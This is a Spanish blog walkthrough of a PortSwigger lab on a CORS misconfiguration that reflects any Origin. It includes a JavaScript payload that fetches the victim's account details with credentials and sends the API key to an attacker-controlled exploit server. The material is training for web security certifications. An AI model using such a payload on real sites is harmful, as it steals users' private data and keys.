Entrada

CORS vulnerability with basic origin reflection

Laboratorio de Portswigger sobre CORS

CORS vulnerability with basic origin reflection

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este sitio web tiene una configuración insegura de Cross-Origin Resource Sharing (CORS), ya que confía en todos los orígenes. Para resolver el laboratorio, debemos crear un script de JavaScript que utilice Cross-Origin Resource Sharing (CORS) para obtener la clave API del administrador y subir el script a nuestro servidor de explotación. El laboratorio se considerará resuelto cuando enviemos con éxito la clave API del administrador. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Guía de CORS

Antes de completar este laboratorio es recomendable leerse esta guía de CORS https://justice-reaper.github.io/posts/CORS-Guide/

Resolución

Al acceder a la web vemos esto

Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos cambiar nuestro email y una clave API

Cuando accedemos a /my-account después de iniciar sesión vemos que se manda una petición a /accountDetails y recibimos una respuesta con los datos de nuestro usuario. Lo destacable de esto es que el servidor nos responde con la cabecera Access-Control-Allow-Credentials: true

Si mandamos esta petición al Repeater e inyectamos la cabecera Origin: https://vulnerable.com se ve reflejada en la respuesta

Que el servidor responda con la cabecera Access-Control-Allow-Credentials: true no lo hace vulnerable. Lo que lo hace vulnerable es la combinación de esa cabecera con Access-Control-Allow-Origin: * o, como en este caso, que no valide la cabecera y nos deje proporcionar a nosotros una Access-Control-Allow-Origin: https://vulnerable.com. Cuando se cumplen estos requisitos, podemos aprovechar estas políticas de CORS inseguras para obtener datos de otros usuarios. Para ello, nos dirigimos al Exploit server y construimos este payload

1
2
3
4
5
6
7
8
9
10
11
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://0a4c0053031c0975805453b000ba00f4.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location = 'https://exploit-0a6200f003d609a280ef523c01720026.exploit-server.net/log?key=' + this.responseText;
    };
</script>

Pulsamos sobre View exploit, nos dirigimos a Access log y vemos cómo se ha hecho una petición a nuestro exploit y posteriormente se envían los datos del usuario víctima a nuestro servidor

Una vez que hemos comprobado que funciona pulsamos sobre Deliver exploit to victim, nos dirigimos al Access log y vemos que recibimos información del usuario víctima en formato URL encoded

Nos dirigimos al Decoder, pegamos la información obtenida y la URL decodeamos

Nos copiamos al apiKey, pulsamos en Submit solution y la pegamos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.